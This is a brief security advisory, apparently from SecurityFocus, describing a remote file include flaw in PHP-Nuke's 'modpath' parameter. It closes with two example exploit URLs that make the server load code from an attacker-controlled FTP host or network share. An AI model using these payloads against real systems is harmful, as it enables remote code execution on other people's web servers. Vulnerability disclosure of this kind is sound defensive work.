source: http://www.securityfocus.com/bid/10365/info

PHP-Nuke is prone to a potential file include vulnerability. This issue could allow a remote attacker to include malicious files containing aribtrary code to be executed on a vulnerable system. This issue can be exploited via the 'modpath' parameter.

If successful, the malicious script supplied by the attacker will be executed in the context of the web server hosting the vulnerable software.

http://www.example.com/nuke73/index.php?modpath=ftp://attacker.com/directory/
http://www.example.com/nuke73/index.php?modpath=//attacker_ip/share_name/